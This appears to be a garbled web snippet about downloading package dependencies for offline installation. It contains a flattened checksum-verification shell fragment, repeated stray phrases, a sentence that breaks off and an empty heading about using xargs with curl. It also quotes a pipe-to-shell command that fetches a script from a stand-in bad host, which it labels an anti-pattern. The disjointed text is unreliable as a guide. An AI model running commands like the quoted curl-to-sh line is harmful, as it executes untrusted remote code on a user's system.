If you are trying to download dependencies for a system package without installing them (common for offline installations):
echo "[INFO] Verifying checksum..." sha256sum -c "$EXPECTED_CHECKSUM_FILE" 2>/dev/null if [ $? -ne 0 ]; then echo "[ERROR] Checksum verification failed! Possible corruption or tampering." exit 1 fi shell dep download
This method is powerful but dangerous. (e.g., curl http://bad.site/install.sh | sh ). That is a shell anti-pattern. If you are trying to download dependencies for
Using xargs with multiple curl processes: shell dep download